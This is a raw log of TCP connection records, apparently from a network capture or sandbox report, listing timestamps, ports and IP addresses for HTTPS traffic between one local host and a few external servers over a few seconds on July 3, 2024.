Jul 3, 2024 23:50:06.594863892 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.594871998 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.599941015 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.599955082 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.599963903 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.599971056 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.646373987 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.646388054 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.683470964 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.683538914 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.683547974 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.683578014 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.683625937 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.683671951 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684072018 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684101105 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684115887 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.684132099 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684160948 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684171915 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.684185982 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.684230089 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.684978008 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685066938 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685096979 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685108900 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.685116053 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685153008 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.685161114 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685739040 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685769081 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685786009 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.685795069 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.685834885 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.685843945 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686588049 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686623096 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686635017 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.686641932 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686672926 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686682940 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.686690092 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.686734915 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.749825954 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.749847889 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.749907970 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.750825882 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.750844002 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.773792982 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.773932934 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.773973942 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774049044 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774072886 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774107933 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774106979 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774106979 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774142027 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774159908 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774161100 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774209976 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774210930 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774220943 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774256945 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774713993 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774765015 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774772882 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.774787903 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.774969101 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.775021076 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.775028944 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.775064945 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.775089025 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.775139093 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.775408983 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.775458097 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.775463104 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.775511026 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.776366949 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.776382923 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.798675060 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.798697948 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.798758030 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.800271988 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.800287008 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.975752115 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.975771904 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.975833893 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.976423979 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.976435900 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.261585951 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.262079000 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.262099028 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.262373924 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.263238907 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.263324976 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.263482094 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.308504105 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380270958 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380307913 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380346060 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380373001 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380383015 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.380403996 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380433083 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380460024 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.380460978 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380470991 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380709887 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.380717039 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380930901 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.380955935 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.381191015 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.381196976 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.381401062 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.450143099 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.467719078 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.467854977 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.469459057 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.469472885 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.469901085 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.470937014 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.470952034 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.471318960 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.472359896 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.472359896 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.472373962 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.472424984 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.474668980 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.474812984 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475239992 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475274086 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475301981 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475326061 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475351095 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475358009 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.475390911 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.475404978 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.475413084 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.476047039 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476151943 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.476160049 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476543903 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476609945 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476636887 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476660013 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.476665974 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.476691008 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.477564096 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.477592945 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.477618933 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.477627993 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.477657080 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.477684975 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.477685928 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.477767944 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.477775097 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.478832006 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.478863001 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.479157925 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.479166031 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.479352951 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.481030941 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.516506910 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.520853043 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.520853996 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.569300890 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569457054 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569489002 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569638968 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569665909 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569665909 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.569675922 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.569824934 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.569835901 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570188999 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570373058 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570383072 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570389032 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570475101 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570557117 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570595980 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570626974 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570631981 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570637941 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570656061 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570702076 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570729971 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570775986 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570806026 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570808887 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570816040 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.570828915 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.570903063 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.573020935 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573052883 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573126078 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.573126078 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.573132992 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573179007 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573208094 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.573210955 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573220015 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.573245049 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.573326111 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.599481106 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.599535942 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.599678993 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.603307009 CEST	49746	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.603319883 CEST	443	49746	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.623311043 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.623333931 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.627485037 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.631309986 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.631324053 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.663844109 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664027929 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.664032936 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664041996 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664199114 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664230108 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.664237976 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664268970 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.664372921 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664768934 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.664774895 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664905071 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664932013 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664935112 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.664946079 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.664963007 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.665054083 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.665091038 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.665195942 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.665431023 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.665534019 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.665627003 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.665729046 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.666167021 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666203022 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666250944 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.666256905 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666282892 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.666353941 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666512012 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666518927 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.666524887 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.666654110 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.667139053 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667166948 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667201996 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.667207956 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667236090 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.667330027 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667432070 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.667438030 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667522907 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667530060 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.667534113 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.667665005 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.668350935 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.668378115 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.668433905 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.668433905 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.668441057 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.668673038 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.668967962 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.668973923 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.668978930 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.669161081 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.669163942 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.669233084 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.671308994 CEST	49744	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:07.671314955 CEST	443	49744	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:07.748224020 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.748281002 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.748470068 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.790208101 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.790241957 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:07.790271997 CEST	49745	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:07.790278912 CEST	443	49745	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:08.106977940 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.107404947 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.107423067 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.108408928 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.108549118 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.108963013 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.109019995 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.109183073 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.109189034 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.159312010 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.187315941 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.187341928 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.187472105 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.187839031 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.187850952 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.200248957 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:08.200258017 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:08.200472116 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:08.201123953 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:08.201132059 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:08.240281105 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.240457058 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.243434906 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.243762016 CEST	49747	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.243772984 CEST	443	49747	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.679075003 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:08.716464996 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:08.725526094 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:08.756757021 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.187356949 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.187374115 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.187521935 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.187530994 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.187719107 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.187879086 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.189538956 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.189604998 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.190423012 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.190473080 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.190588951 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.190619946 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.190648079 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.190660954 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.236496925 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.309073925 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.310041904 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.310086966 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.370846987 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.370888948 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.370919943 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.370929003 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.370938063 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.370973110 CEST	49748	443	192.168.2.4	104.17.2.184
